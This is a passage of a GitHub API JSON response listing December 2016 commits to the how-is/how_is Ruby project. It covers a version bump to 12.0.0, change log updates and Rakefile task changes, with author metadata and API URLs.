:"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"43f182d964561d66c987023d1027f82e7d2fa79a","url":"https://api.github.com/repos/how-is/how_is/commits/43f182d964561d66c987023d1027f82e7d2fa79a","html_url":"https://github.com/how-is/how_is/commit/43f182d964561d66c987023d1027f82e7d2fa79a"},{"sha":"62ff98ae23141a9cf5c925cb3663641c34f9eb8a","url":"https://api.github.com/repos/how-is/how_is/commits/62ff98ae23141a9cf5c925cb3663641c34f9eb8a","html_url":"https://github.com/how-is/how_is/commit/62ff98ae23141a9cf5c925cb3663641c34f9eb8a"}]},{"sha":"62ff98ae23141a9cf5c925cb3663641c34f9eb8a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NjJmZjk4YWUyMzE0MWE5Y2Y1YzkyNWNiMzY2MzY0MWMzNGY5ZWI4YQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T06:27:41Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T06:27:50Z"},"message":"version bump to 12.0.0","tree":{"sha":"bbf2e4a0c9a21b6751bbac1360dd6bb09a8b3323","url":"https://api.github.com/repos/how-is/how_is/git/trees/bbf2e4a0c9a21b6751bbac1360dd6bb09a8b3323"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/62ff98ae23141a9cf5c925cb3663641c34f9eb8a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/62ff98ae23141a9cf5c925cb3663641c34f9eb8a","html_url":"https://github.com/how-is/how_is/commit/62ff98ae23141a9cf5c925cb3663641c34f9eb8a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/62ff98ae23141a9cf5c925cb3663641c34f9eb8a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"43f182d964561d66c987023d1027f82e7d2fa79a","url":"https://api.github.com/repos/how-is/how_is/commits/43f182d964561d66c987023d1027f82e7d2fa79a","html_url":"https://github.com/how-is/how_is/commit/43f182d964561d66c987023d1027f82e7d2fa79a"}]},{"sha":"43f182d964561d66c987023d1027f82e7d2fa79a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDNmMTgyZDk2NDU2MWQ2NmM5ODcwMjNkMTAyN2Y4MmU3ZDJmYTc5YQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T06:17:14Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-12-11T06:17:14Z"},"message":"Merge pull request #89 from how-is/update-changelog\n\nUpdate change log for v12.0.0 release.","tree":{"sha":"d13ba9fcbf3ce8c558d75ee1adda2dcd56c5cc6d","url":"https://api.github.com/repos/how-is/how_is/git/trees/d13ba9fcbf3ce8c558d75ee1adda2dcd56c5cc6d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/43f182d964561d66c987023d1027f82e7d2fa79a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/43f182d964561d66c987023d1027f82e7d2fa79a","html_url":"https://github.com/how-is/how_is/commit/43f182d964561d66c987023d1027f82e7d2fa79a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/43f182d964561d66c987023d1027f82e7d2fa79a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"b266926713223a3bf41da75cf74599c64feb0703","url":"https://api.github.com/repos/how-is/how_is/commits/b266926713223a3bf41da75cf74599c64feb0703","html_url":"https://github.com/how-is/how_is/commit/b266926713223a3bf41da75cf74599c64feb0703"},{"sha":"35ab4d0d7caa8a8bcce239de6802154e151bf4eb","url":"https://api.github.com/repos/how-is/how_is/commits/35ab4d0d7caa8a8bcce239de6802154e151bf4eb","html_url":"https://github.com/how-is/how_is/commit/35ab4d0d7caa8a8bcce239de6802154e151bf4eb"}]},{"sha":"35ab4d0d7caa8a8bcce239de6802154e151bf4eb","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MzVhYjRkMGQ3Y2FhOGE4YmNjZTIzOWRlNjgwMjE1NGUxNTFiZjRlYg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T06:15:45Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-12-11T06:15:45Z"},"message":"Add info to change log","tree":{"sha":"cdf6655e07751c40a2eef4300150ea49e492afe7","url":"https://api.github.com/repos/how-is/how_is/git/trees/cdf6655e07751c40a2eef4300150ea49e492afe7"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/35ab4d0d7caa8a8bcce239de6802154e151bf4eb","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/35ab4d0d7caa8a8bcce239de6802154e151bf4eb","html_url":"https://github.com/how-is/how_is/commit/35ab4d0d7caa8a8bcce239de6802154e151bf4eb","comments_url":"https://api.github.com/repos/how-is/how_is/commits/35ab4d0d7caa8a8bcce239de6802154e151bf4eb/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"777ee15fbfadd89611980f62818b1bc8d9b0ea51","url":"https://api.github.com/repos/how-is/how_is/commits/777ee15fbfadd89611980f62818b1bc8d9b0ea51","html_url":"https://github.com/how-is/how_is/commit/777ee15fbfadd89611980f62818b1bc8d9b0ea51"}]},{"sha":"b266926713223a3bf41da75cf74599c64feb0703","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YjI2NjkyNjcxMzIyM2EzYmY0MWRhNzVjZjc0NTk5YzY0ZmViMDcwMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T06:08:21Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-12-11T06:08:21Z"},"message":"Merge pull request #96 from how-is/rake-tasks\n\nrake generate => rake generate_reports.","tree":{"sha":"f4e088a2228ec61c1b164e1a196883234d2b5dd6","url":"https://api.github.com/repos/how-is/how_is/git/trees/f4e088a2228ec61c1b164e1a196883234d2b5dd6"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/b266926713223a3bf41da75cf74599c64feb0703","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/b266926713223a3bf41da75cf74599c64feb0703","html_url":"https://github.com/how-is/how_is/commit/b266926713223a3bf41da75cf74599c64feb0703","comments_url":"https://api.github.com/repos/how-is/how_is/commits/b266926713223a3bf41da75cf74599c64feb0703/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"6867d1b0be9bf5449d462ad59ad9ba6d1b975a9a","url":"https://api.github.com/repos/how-is/how_is/commits/6867d1b0be9bf5449d462ad59ad9ba6d1b975a9a","html_url":"https://github.com/how-is/how_is/commit/6867d1b0be9bf5449d462ad59ad9ba6d1b975a9a"},{"sha":"5be9e093ab2abf0624e3e54172aa06c09257ee4d","url":"https://api.github.com/repos/how-is/how_is/commits/5be9e093ab2abf0624e3e54172aa06c09257ee4d","html_url":"https://github.com/how-is/how_is/commit/5be9e093ab2abf0624e3e54172aa06c09257ee4d"}]},{"sha":"5be9e093ab2abf0624e3e54172aa06c09257ee4d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NWJlOWUwOTNhYjJhYmYwNjI0ZTNlNTQxNzJhYTA2YzA5MjU3ZWU0ZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T06:06:59Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T06:06:59Z"},"message":"rake generate => rake generate_reports.","tree":{"sha":"f4e088a2228ec61c1b164e1a196883234d2b5dd6","url":"https://api.github.com/repos/how-is/how_is/git/trees/f4e088a2228ec61c1b164e1a196883234d2b5dd6"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/5be9e093ab2abf0624e3e54172aa06c09257ee4d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/5be9e093ab2abf0624e3e54172aa06c09257ee4d","html_url":"https://github.com/how-is/how_is/commit/5be9e093ab2abf0624e3e54172aa06c09257ee4d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/5be9e093ab2abf0624e3e54172aa06c09257ee4d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6867d1b0be9bf5449d462ad59ad9ba6d1b975a9a","url":"https://api.github.com/repos/how-is/how_is/commits/6867d1b0be9bf5449d462ad59ad9ba6d1b975a9a","html_url":"https://github.com/how-is/how_is/commit/6867d1b0be9bf5449d462ad59ad9ba6d1b975a9a"}]},{"sha":"6867d1b0be9bf5449d462ad59ad9ba6d1b975a9a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Njg2N2QxYjBiZTliZjU0NDlkNDYyYWQ1OWFkOWJhNmQxYjk3NWE5YQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T06:02:54Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-12-11T06:02:54Z"},"message":"Merge pull request #94 from how-is/rake-tasks\n\nRake tasks","tree":{"sha":"8754c540843628159333d39ada2ab0d24fe6d587","url":"https://api.github.com/repos/how-is/how_is/git/trees/8754c540843628159333d39ada2ab0d24fe6d587"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6867d1b0be9bf5449d462ad59ad9ba6d1b975a9a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6867d1b0be9bf5449d462ad59ad9ba6d1b975a9a","html_url":"https://github.com/how-is/how_is/commit/6867d1b0be9bf5449d462ad59ad9ba6d1b975a9a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6867d1b0be9bf5449d462ad59ad9ba6d1b975a9a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"d0514db39e87b8056960a27e1561d0be9c1b693e","url":"https://api.github.com/repos/how-is/how_is/commits/d0514db39e87b8056960a27e1561d0be9c1b693e","html_url":"https://github.com/how-is/how_is/commit/d0514db39e87b8056960a27e1561d0be9c1b693e"},{"sha":"8a1e81475cdb40404576e74f74e4208c1056308e","url":"https://api.github.com/repos/how-is/how_is/commits/8a1e81475cdb40404576e74f74e4208c1056308e","html_url":"https://github.com/how-is/how_is/commit/8a1e81475cdb40404576e74f74e4208c1056308e"}]},{"sha":"8a1e81475cdb40404576e74f74e4208c1056308e","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OGExZTgxNDc1Y2RiNDA0MDQ1NzZlNzRmNzRlNDIwOGMxMDU2MzA4ZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T05:56:05Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T05:56:10Z"},"message":"*slow clap* I forgot to configure VCR in Rakefile.","tree":{"sha":"8754c540843628159333d39ada2ab0d24fe6d587","url":"https://api.github.com/repos/how-is/how_is/git/trees/8754c540843628159333d39ada2ab0d24fe6d587"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8a1e81475cdb40404576e74f74e4208c1056308e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8a1e81475cdb40404576e74f74e4208c1056308e","html_url":"https://github.com/how-is/how_is/commit/8a1e81475cdb40404576e74f74e4208c1056308e","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8a1e81475cdb40404576e74f74e4208c1056308e/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"17b49d50c9244bc081a1477ef55c89b94d23c02d","url":"https://api.github.com/repos/how-is/how_is/commits/17b49d50c9244bc081a1477ef55c89b94d23c02d","html_url":"https://github.com/how-is/how_is/commit/17b49d50c9244bc081a1477ef55c89b94d23c02d"}]},{"sha":"17b49d50c9244bc081a1477ef55c89b94d23c02d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTdiNDlkNTBjOTI0NGJjMDgxYTE0NzdlZjU1Yzg5Yjk0ZDIzYzAyZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T05:25:07Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T05:25:15Z"},"message":"[broken] attempt at reworking Rakefile","tree":{"sha":"a3a8c13dc51d208575fae600446b122cca9b7cda","url":"https://api.github.com/repos/how-is/how_is/git/trees/a3a8c13dc51d208575fae600446b122cca9b7cda"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/17b49d50c9244bc081a1477ef55c89b94d23c02d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/17b49d50c9244bc081a1477ef55c89b94d23c02d","html_url":"https://github.com/how-is/how_is/commit/17b49d50c9244bc081a1477ef55c89b94d23c02d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/17b49d50c9244bc081a1477ef55c89b94d23c02d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d0514db39e87b8056960a27e1561d0be9c1b693e","url":"https://api.github.com/repos/how-is/how_is/commits/d0514db39e87b8056960a27e1561d0be9c1b693e","html_url":"https://github.com/how-is/how_is/commit/d0514db39e87b8056960a27e1561d0be9c1b693e"}]},{"sha":"777ee15fbfadd89611980f62818b1bc8d9b0ea51","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Nzc3ZWUxNWZiZmFkZDg5NjExOTgwZjYyODE4YjFiYzhkOWIwZWE1MQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T02:26:20Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T02:26:20Z"},"message":"Preparing for v12.0 release.","tree":{"sha":"7d257da328fce9fc40113967f67b1e01b7996683","url":"https://api.github.com/repos/how-is/how_is/git/trees/7d257da328fce9fc40113967f67b1e01b7996683"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/777ee15fbfadd89611980f62818b1bc8d9b0ea51","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/777ee15fbfadd89611980f62818b1bc8d9b0ea51","html_url":"https://github.com/how-is/how_is/commit/777ee15fbfadd89611980f62818b1bc8d9b0ea51","comments_url":"https://api.github.com/repos/how-is/how_is/commits/777ee15fbfadd89611980f62818b1bc8d9b0ea51/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"2b78035d6c36cfba74d2ff0660a5933dde5f761c","url":"https://api.github.com/repos/how-is/how_is/commits/2b78035d6c36cfba74d2ff0660a5933dde5f761c","html_url":"https://github.com/how-is/how_is/commit/2b78035d6c36cfba74d2ff0660a5933dde5f761c"}]},{"sha":"2b78035d6c36cfba74d2ff0660a5933dde5f761c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MmI3ODAzNWQ2YzM2Y2ZiYTc0ZDJmZjA2NjBhNTkzM2RkZTVmNzYxYw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T02:21:58Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T02:21:58Z"},"message":"include link; add blurb 